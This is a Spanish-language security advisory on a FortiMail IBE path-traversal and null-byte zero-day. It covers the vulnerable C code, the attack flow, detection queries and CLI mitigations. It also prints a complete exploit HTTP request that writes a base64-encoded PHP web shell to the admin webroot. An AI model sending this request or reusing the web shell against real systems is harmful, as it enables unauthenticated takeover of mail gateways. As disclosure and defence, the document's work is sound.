CVE-2026-104286: Zero-Day en Fortinet FortiMail por Salto de Directorio y Byte Nulo
CVE-2026-104286 (CWE-22 / CWE-158)
Severity: CRÍTICA (CVSS 9.8)
Status: Zero-Day Explotado Activamente (Añadido a CISA KEV el 1 de Octubre de 2026)
Affected Systems: Fortinet FortiMail 8.0.0–8.0.1, 7.6.0–7.6.6, 7.4.0–7.4.8, 7.2.0–7.2.9
Fixed In: FortiMail 8.0.2, 7.6.7, 7.4.9 (Próximamente / Mitigación Urgente por CLI)
El 1 de octubre de 2026, la Agencia de Ciberseguridad y Seguridad de Infraestructura de EE. UU. (CISA) incorporó CVE-2026-104286 a su catálogo de Vulnerabilidades Explotadas Conocidas. Divulgada en el boletín FG-IR-26-175 de Fortinet, esta falla crítica (CVSS 9.8) combina salto de directorio (CWE-22) con neutralización indebida de caracteres de byte nulo (CWE-158) en el módulo de Cifrado Basado en Identidad (IBE) de FortiMail, permitiendo a ciberatacantes remotos no autenticados escribir archivos arbitrarios y ejecutar código en el sistema.
Análisis Técnico de Causa Raíz
La falla se localiza en el servicio web encargado de tramitar registros y validaciones de claves en el módulo IBE. Dicho componente procesa rutas de archivo suministradas por el usuario sin sanear adecuadamente bytes nulos (\x00) antes de invocar llamadas POSIX en lenguaje C:
/* Descompilación conceptual del procesador de subida IBE en FortiMail */
int handle_ibe_upload(http_request_t *req) {
char target_path[PATH_MAX];
char *user_filename = get_param(req, "reg_token_path");
if (!user_filename) return -1;
// ERROR: Verifica prefijo base pero no valida secuencias "../" ni bytes nulos (\x00)
snprintf(target_path, sizeof(target_path), "/var/spool/ibe/%s", user_filename);
// En cadenas POSIX C, "\x00" trunca la lectura y anula las comprobaciones posteriores de extensión
FILE *fp = fopen(target_path, "wb");
if (fp) {
fwrite(req->body, 1, req->body_length, fp);
fclose(fp);
return 0;
}
return -1;
}
Cuando un atacante envía una solicitud HTTP especialmente diseñada:
POST /api/v1/ibe/register HTTP/1.1
Host: mailgate.empresa.es
Content-Type: application/x-www-form-urlencoded
reg_token_path=../../../../usr/pkg/apache/htdocs/app/shell.php%00.key&payload=PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==
El byte nulo trunca la verificación de la extensión .key, forzando a fopen() a escribir la web shell decodificada directamente en el directorio raíz del servidor web de administración. Posteriores solicitudes a /app/shell.php ejecutan comandos en el servidor con los permisos del demonio web.
Flujo del Ataque
Atacante Externo
│
├──► [Puerto HTTPS 443 / Interfaz Administrativa FortiMail]
│ │
│ ├──► Endpoint: /api/v1/ibe/register
│ └──► Parámetro: reg_token_path = ../../../[ruta_destino]%00.key
│
▼
[Analizador de Solicitudes IBE] -> Ausencia de saneamiento de Byte Nulo
│
▼
[Escritura en Sistema de Archivos] -> Escritura de archivo PHP en el webroot
│
▼
[Ejecución Remota de Código] -> Persistencia y control de la pasarela de correo
Telemetría e Indicadores de Compromiso
index=fortigate sourcetype="fortimail:log"
| where url LIKE "%/api/v1/ibe/%" AND (url LIKE "%%00%" OR url LIKE "%..%")
| stats count, values(src_ip) by url, dest_ipEn la consola del dispositivo, busque archivos sospechosos modificados en los últimos días:
find /usr/pkg/apache/htdocs/ -type f -mtime -7 -name "*.php" -ls
find /var/spool/ibe/ -type f -name "*..*"
Mitigación Inmediata
- Aislar la Interfaz de Gestión: Restrinja el acceso a los puertos de administración (443, 80, 8443) para que únicamente sean accesibles desde redes internas o túneles VPN autenticados.
- Reglas WAF: Implementar reglas perimetrales para bloquear solicitudes que incluyan secuencias
%00o..dirigidas a rutas de API.
Desactivar el Cifrado IBE: Ejecute en la consola de comandos de FortiMail:
config system encryption ibe
set status disable
end